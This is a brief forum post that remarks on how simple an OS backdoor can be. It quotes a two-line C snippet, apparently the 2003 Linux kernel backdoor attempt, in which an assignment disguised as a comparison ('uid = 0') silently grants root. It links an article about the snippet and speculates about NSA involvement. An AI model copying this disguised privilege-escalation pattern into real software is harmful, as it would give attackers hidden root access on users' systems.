How simple is for the NSA to exploit an OS?

[pfarber]

This little tidbit is very interesting... you would think that 'hacking' an OS and allowing someone/something to do whatever they want on a computer system would be a long, difficult and drawn out hacker exercise.

NOPE.

This:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

is all you need. Actually, its the LACK of what's there that makes it work.

Read more about it here:

https://freedom-to-tinker.com/blog/felt ... t-of-2003/

And now the NSA is updating my file...